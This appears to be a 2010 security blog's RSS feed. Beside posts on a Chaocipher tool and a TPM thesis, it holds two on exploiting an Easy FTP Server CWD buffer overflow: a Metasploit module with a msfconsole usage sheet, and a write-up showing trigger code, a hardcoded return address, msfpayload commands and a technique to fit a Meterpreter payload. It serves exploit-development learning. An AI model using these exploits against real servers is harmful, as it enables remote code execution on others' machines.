<div><strong>./chaocipher.py -k chaocipher_example -d &#8220;T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ==&#8221;</strong></div>
<p>PT: WELLDONEISBETTERTHANWELLSAID<br />
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)</p>
<div><strong>./chaocipher.py -e &#8220;WELLDONEISBETTERTHANWELLSAID&#8221;</strong></div>
<p>[*] no keyfile specified; generating one at /home/myhndl/mymiscprojects/chaocipher_07-07-2010_23-05-12<br />
PT: WELLDONEISBETTERTHANWELLSAID<br />
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)</p>
<div><strong>./chaocipher.py -k chaocipher_07-07-2010_23-05-12 -d &#8220;emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ==&#8221;</strong></div>
<p>PT: WELLDONEISBETTERTHANWELLSAID<br />
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)</p></blockquote>
<p>Here&#8217;s the files:</p>
<ul>
<li><a href="http://code.google.com/p/mymiscprojects/source/browse/chaocipher.py" target="_blank">chaocipher.py</a></li>
<li><a href="https://tegosecurity.com/etc/chaocipher_example" target="_blank">chaocipher_example</a> (the alphabet used in Moshe&#8217;s paper in keyfile format)</li>
</ul>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/ascii/'>ascii</a>, <a href='http://paulmakowski.wordpress.com/tag/binary/'>binary</a>, <a href='http://paulmakowski.wordpress.com/tag/chaocipher/'>chaocipher</a>, <a href='http://paulmakowski.wordpress.com/tag/cipher/'>cipher</a>, <a href='http://paulmakowski.wordpress.com/tag/encryption/'>encryption</a>, <a href='http://paulmakowski.wordpress.com/tag/key/'>key</a>, <a href='http://paulmakowski.wordpress.com/tag/python/'>python</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/325/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/325/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/325/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=325&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/07/07/chaocipher-now-with-ascii-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>Woohoo!  I Graduated.  Here&#8217;s my thesis.</title>
		<link>http://paulmakowski.wordpress.com/2010/06/29/woohoo-i-graduated-heres-my-thesis/</link>
		<comments>http://paulmakowski.wordpress.com/2010/06/29/woohoo-i-graduated-heres-my-thesis/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 04:40:02 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer security]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[information assurance]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[platform]]></category>
		<category><![CDATA[thesis]]></category>
		<category><![CDATA[tpm]]></category>
		<category><![CDATA[trecc]]></category>
		<category><![CDATA[trusted]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=314</guid>
		<description><![CDATA[I&#8217;ve been busy with a lot of things lately, but figured I should probably post my final undergraduate thesis in case it is useful for someone interested in information assurance.  I&#8217;ve added my final thesis document as well as links to my delivered product (source code, .deb installers) in the Undergraduate Thesis link above. One item [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=314&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been busy with a lot of things lately, but figured I should probably post my final undergraduate thesis in case it is useful for someone interested in information assurance.  I&#8217;ve added my final thesis document as well as links to my delivered product (source code, .deb installers) in the <a href="http://paulmakowski.wordpress.com/undergraduate-thesis/" target="_blank">Undergraduate Thesis</a> link above.</p>
<p>One item I had some difficulty with was <a href="http://code.google.com/p/trecc/source/browse/sbin/trecc/tpm_util.c" target="_blank">utilizing the TPM via the TrouSers API</a> due in large part to very few public projects making use of it.  More often than not I found myself reverse engineering the <a href="http://trousers.cvs.sourceforge.net/viewvc/trousers/testsuite/" target="_blank">TrouSers testsuite</a> &#8211; which is a great reference, don&#8217;t get me wrong.</p>
<p>I&#8217;ve licensed all my code under GPLv2, so feel free to build upon it and use it as a reference.  Hopefully some will find it useful in developing their own TrouSers applications.  The rest of the code is fairly TRECC-specific, but does a number of things that may be useful elsewhere (e.g. <a href="http://code.google.com/p/trecc/source/browse/sbin/trecc/measure.c" target="_blank">dumping the virtual address space of a target process in C via ptrace()</a>, communicating between C utilities and Python via a sqlite3 database, etc).</p>
<p>Enjoy!</p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/computer-security/'>computer security</a>, <a href='http://paulmakowski.wordpress.com/tag/exploitation/'>exploitation</a>, <a href='http://paulmakowski.wordpress.com/tag/information-assurance/'>information assurance</a>, <a href='http://paulmakowski.wordpress.com/tag/linux/'>linux</a>, <a href='http://paulmakowski.wordpress.com/tag/module/'>module</a>, <a href='http://paulmakowski.wordpress.com/tag/platform/'>platform</a>, <a href='http://paulmakowski.wordpress.com/tag/thesis/'>thesis</a>, <a href='http://paulmakowski.wordpress.com/tag/tpm/'>tpm</a>, <a href='http://paulmakowski.wordpress.com/tag/trecc/'>trecc</a>, <a href='http://paulmakowski.wordpress.com/tag/trusted/'>trusted</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/314/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/314/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/314/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=314&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/06/29/woohoo-i-graduated-heres-my-thesis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>Senior Thesis (TRECC) Presentations</title>
		<link>http://paulmakowski.wordpress.com/2010/05/08/senior-thesis-trecc-presentations/</link>
		<comments>http://paulmakowski.wordpress.com/2010/05/08/senior-thesis-trecc-presentations/#comments</comments>
		<pubDate>Sun, 09 May 2010 05:16:05 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[thesis]]></category>
		<category><![CDATA[trecc]]></category>
		<category><![CDATA[trousers]]></category>
		<category><![CDATA[trusted]]></category>
		<category><![CDATA[trusted root]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=293</guid>
		<description><![CDATA[Update: I&#8217;ve moved all these materials to their own page for easy reference. Tagged: hacking, presentation, thesis, trecc, trousers, trusted, trusted root<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=293&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Update</strong>: I&#8217;ve moved all these materials to <a href="http://paulmakowski.wordpress.com/undergraduate-thesis/" target="_blank">their own page</a> for easy reference.</p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/hacking/'>hacking</a>, <a href='http://paulmakowski.wordpress.com/tag/presentation/'>presentation</a>, <a href='http://paulmakowski.wordpress.com/tag/thesis/'>thesis</a>, <a href='http://paulmakowski.wordpress.com/tag/trecc/'>trecc</a>, <a href='http://paulmakowski.wordpress.com/tag/trousers/'>trousers</a>, <a href='http://paulmakowski.wordpress.com/tag/trusted/'>trusted</a>, <a href='http://paulmakowski.wordpress.com/tag/trusted-root/'>trusted root</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/293/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=293&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/05/08/senior-thesis-trecc-presentations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>Metasploit Plugin for EasyFTP Server Exploit</title>
		<link>http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit/</link>
		<comments>http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 04:06:40 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[easyftp]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=282</guid>
		<description><![CDATA[Update: The module has been added to the Metasploit tree.  Thanks to jduck for cleaning it up and generalizing it!  View here; now just use svn update to get the module. &#8211; In my previous post, I detailed my efforts and solution to injecting a Meterpreter payload into a buffer of size 260B.  I mentioned [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=282&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> The module has been added to the Metasploit tree.  Thanks to jduck for cleaning it up and generalizing it!  View <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb" target="_blank">here</a>; now just use <strong>svn update</strong> to get the module.</p>
<p>&#8211;</p>
<p>In my <a href="http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/" target="_blank">previous post</a>, I detailed my efforts and solution to injecting a Meterpreter payload into a buffer of size 260B.  I mentioned that if I had the time, I would try to port the exploit to Metasploit itself, considering I had targeted my technique for the Metasploit-specific payload anyways.</p>
<p>I found some time and have made my plugin available below.  There&#8217;s several things that can be improved in this exploit:</p>
<ul>
<li>rewrite <span style="text-decoration:line-through;">the</span> fixRet to occupy less space and to use metasm to compile it on the fly</li>
<li>use JMP ESP/EBP type addresses to help with porting to other versions of Windows</li>
</ul>
<p>EasyFTP Server is an obscure FTP server, which makes it great for playing around with memory corruption vulnerabilities, but probably isn&#8217;t something anyone is going to see in a pentest any time soon.  I decided against spending the time required to generalize the exploit to versions of Windows beyond XP SP3 English and EasyFTP versions beyond 1.7.0.2.  I ported the exploit as an exercise and also in the hopes that someone may find my experience helpful should they try something similar.</p>
<p>I tested the exploit module against Metasploit 3.4.0-dev, r9112.  If its failing on an older version, try upgrading first.</p>
<p><strong>Get <a href="https://tegosecurity.com/etc/easyftp_cwd_fixret.rb.zip" target="_blank">easyftp_cwd_fixret.rb</a></strong> (put it in [your_metasploit_dir]/modules/exploits/windows/ftp)</p>
<p>Cheat sheet:</p>
<pre>$ ./msfconsole
use windows/ftp/easyftp_cwd_fixret
set RHOST [target's IP address]
set PAYLOAD [your_payload]
[set options applicable to your payload]
exploit</pre>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/buffer/'>buffer</a>, <a href='http://paulmakowski.wordpress.com/tag/buffer-overflow/'>buffer overflow</a>, <a href='http://paulmakowski.wordpress.com/tag/easyftp/'>easyftp</a>, <a href='http://paulmakowski.wordpress.com/tag/exploit/'>exploit</a>, <a href='http://paulmakowski.wordpress.com/tag/exploitation/'>exploitation</a>, <a href='http://paulmakowski.wordpress.com/tag/hacking/'>hacking</a>, <a href='http://paulmakowski.wordpress.com/tag/metasploit/'>metasploit</a>, <a href='http://paulmakowski.wordpress.com/tag/meterpreter/'>meterpreter</a>, <a href='http://paulmakowski.wordpress.com/tag/module/'>module</a>, <a href='http://paulmakowski.wordpress.com/tag/overflow/'>overflow</a>, <a href='http://paulmakowski.wordpress.com/tag/plugin/'>plugin</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=282&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>Increasing Payload Size w/ Return Address Overwrite</title>
		<link>http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/</link>
		<comments>http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 01:41:42 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[payload]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[address]]></category>
		<category><![CDATA[overwrite]]></category>
		<category><![CDATA[address overwrite]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[strcpy]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=238</guid>
		<description><![CDATA[While perusing Full Disclosure recently, I came across Jon Butler's Proof of Concept (PoC) exploit for Easy FTP Server 1.7.0.2, an obscure FTP server.  I'm no expert on exploit development, but it is something I've been trying to spend more time on lately.  For practice, I decided to weaponize Jon's exploit (all the public exploits I've seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the rather small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon's exploit with a Meterpreter payload (326 bytes).  Debugging experience and a basic understanding of stack based buffer overflow exploitation required.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=238&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>While perusing Bugtraq recently, I came across <a href="http://seclists.org/bugtraq/2010/Feb/202" target="_blank">Jon Butler&#8217;s Proof of Concept (PoC) exploit</a> for <a href="http://code.google.com/p/easyftpsvr/" target="_blank">Easy FTP Server 1.7.0.2</a>, an obscure FTP server.  I&#8217;m no expert on exploit development, but it is something I&#8217;ve been trying to spend more time on lately.  For practice, I decided to try to modify Jon&#8217;s exploit for a more interesting payload (all the <a href="http://www.securityfocus.com/bid/38262/exploit" target="_blank">public exploits</a> I&#8217;ve seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the somewhat small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon&#8217;s exploit with a <a href="http://www.google.com/url?q=http://docs.google.com/viewer%3Fa%3Dv%26q%3Dcache:2afXvgvQkQ0J:www.nologin.org/Downloads/Papers/meterpreter.pdf%2Bmeterpreter%26hl%3Den%26gl%3Dus%26pid%3Dbl%26srcid%3DADGEESgRx-vwB2mpe6_h3jofyfEB3EUwhC6JmDFKZILxNICxX7sebPlYPnicewBG1kOzIFWj0CQh2gl4fHFup69o9VFKMMKS93xyG5W5Zk7R3oDD-6dcui07FanXB3IbfSwu-0jV19UT%26sig%3DAHIEtbSul3n0RL9e23o39s4Fe302nfBhoQ&amp;ei=etuKS_72I5TUtgPr4bSGAw&amp;sa=X&amp;oi=gview&amp;resnum=8&amp;ct=other&amp;ved=0CCQQxQEwBw&amp;usg=AFQjCNG_vqqG-10-s4Bm6hiQ92GvAkNjeg" target="_blank">Meterpreter</a> payload (326 bytes).  Debugging experience and a basic understanding of <a href="https://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/" target="_blank">stack based buffer overflow exploitation</a> are required.</p>
<p>&#8211;</p>
<p><a href="https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip" target="_blank"><strong>Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)</strong></a></p>
<p><strong>How do we trigger the vulnerability?</strong> From Jon&#8217;s PoC:</p>
<pre>Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.</pre>
<p>Jon gets to the vulnerable code and attacks it <em>(anon access is enabled by default)</em>:</p>
<pre>s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')</pre>
<p><strong>How much space do we have for our payload (shellcode) before the  return address?</strong> Again, Jon already did the work for us:</p>
<pre>nopsled = "\x90" * (<strong>268</strong> - len(shellcode))</pre>
<p>268 bytes is enough space to launch calc.exe,  add a user account and some other items available to standard Metasploit payloads, but it is insufficient for  something more exciting like a bind_tcp or Meterpreter payload:</p>
<pre>$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size <strong>369</strong> (iteration=1)
[...snip...]

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
"\x00\x0a\x0d\xff\x2f\x5c"
[*] x86/shikata_ga_nai succeeded with size <strong>326</strong> (iteration=1)</pre>
<p><strong>The Problem: </strong>How do we increase the amount of space available for our payload?</p>
<p>Referencing Jon&#8217;s PoC, one can easily deduce that Easy FTP Server wasn&#8217;t compiled with any stack protection (e.g. the <a href="http://msdn.microsoft.com/en-us/library/aa290051%28VS.71%29.aspx#vctchcompilersecuritychecksindepthanchor5" target="_blank">/GS</a> switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent.<del> and isn&#8217;t a concern anyways since Jon returns to an address on the (eXecutable) stack &#8211; no need for even a JMP address here.  <em>Note: a <a href="http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py" target="_blank">JMP address</a> would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit</em>.</del></p>
<p>First, let&#8217;s take a look at Jon&#8217;s return address:</p>
<pre>ret = "\x58\xFD\x9A\x00" # 0x009AFD58</pre>
<p>The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to <a href="http://www.java2s.com/Code/C/string.h/strcpycopiesstr2intostr1str2mustbeapointertoanullterminatedstring.htm" target="_blank">strcpy()</a>, then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn&#8217;t exactly the case; I could write past the NULL byte (more on this later).</p>
<p><em>Aside: if you weren&#8217;t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you&#8217;re still in luck: thanks to the little-<a href="http://en.wikipedia.org/wiki/Endianness" target="_blank">endianness</a> of Intel&#8217;s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.</em></p>
<p>I decided to press my luck and attempt to write beyond the NULL byte in the return address <em>(I later found <a href="http://downloads.securityfocus.com/vulnerabilities/exploits/38262-2.py" target="_blank">another exploit</a> that would have saved me this trouble)</em>.  I replaced Jon&#8217;s payload with an <a href="http://en.wikipedia.org/wiki/INT_%28x86_instruction%29#INT_3" target="_blank">INT3 instruction</a> (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond <strong>ret</strong>. Pictured: my nopsled, Jon&#8217;s <strong>ret</strong> &amp; a bunch of &#8216;A&#8217;s (it continues outside of the screenshot, obviously):</p>
<div id="attachment_257" class="wp-caption aligncenter" style="width: 456px"><a href="http://paulmakowski.files.wordpress.com/2010/02/finding_afterretsize.png"><img class="size-full wp-image-257" title="finding_afterRetSize" src="http://paulmakowski.files.wordpress.com/2010/02/finding_afterretsize.png?w=600" alt=""   /></a><p class="wp-caption-text">I inserted a bunch of &#039;A&#039;s (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over.  I&#039;m using Immunity Debugger here.</p></div>
<p style="text-align:center;">&nbsp;</p>
<p><a href="https://tegosecurity.com/etc/return_overwrite/finding_afterRetSize.zip" target="_blank"><em>Get the modified code I used to do the above</em></a></p>
<p>I determined that I could write no more than 233 &#8216;A&#8217;s past the return address and still have reliable execution:</p>
<pre>s.send('CWD ' + payload + 'A' * 233 + '\r\n')</pre>
<p>Sweet&#8230; another 233 bytes!  Of course at this point I&#8217;ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you&#8217;re trying to be sneaky about the whole pwning thing.</p>
<p>So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = <strong>505</strong> bytes&#8230; more than enough space for the payloads I&#8217;m trying to inject.</p>
<p><strong>Next Problem:</strong> Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.</p>
<p>It&#8217;s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.</p>
<p><strong>Next solution:</strong> Modify the return address <em>after</em> we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function <strong>fixRet</strong>.</p>
<p>Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):</p>
<pre>0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload, part1 | ret | payload, part2
--------------------------------------------------------</pre>
<p>The payload is bisected by <strong>ret</strong> and is missing the 4 bytes that <strong>ret</strong> is occupying.  After <strong>fixRet</strong> executes, the stack will look like this:</p>
<pre>0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload..............................
--------------------------------------------------------</pre>
<p>At this point I needed to decide what payload to use because I needed to know what I was going to overwrite <strong>ret</strong> with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the <span style="text-decoration:line-through;">windows/meterpreter/bind_tcp</span> windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  <del><em>If I find time to rewrite this exploit using Metasploit&#8217;s framework, the following gcc / objdump steps will be unnecessary.</em></del><em> <a href="https://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit/" target="_blank">I did find time to rewrite the exploit</a>; jduck kindly fixed up the fixRet function such that it is dynamically generated by the <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb" target="_blank">module</a>.</em></p>
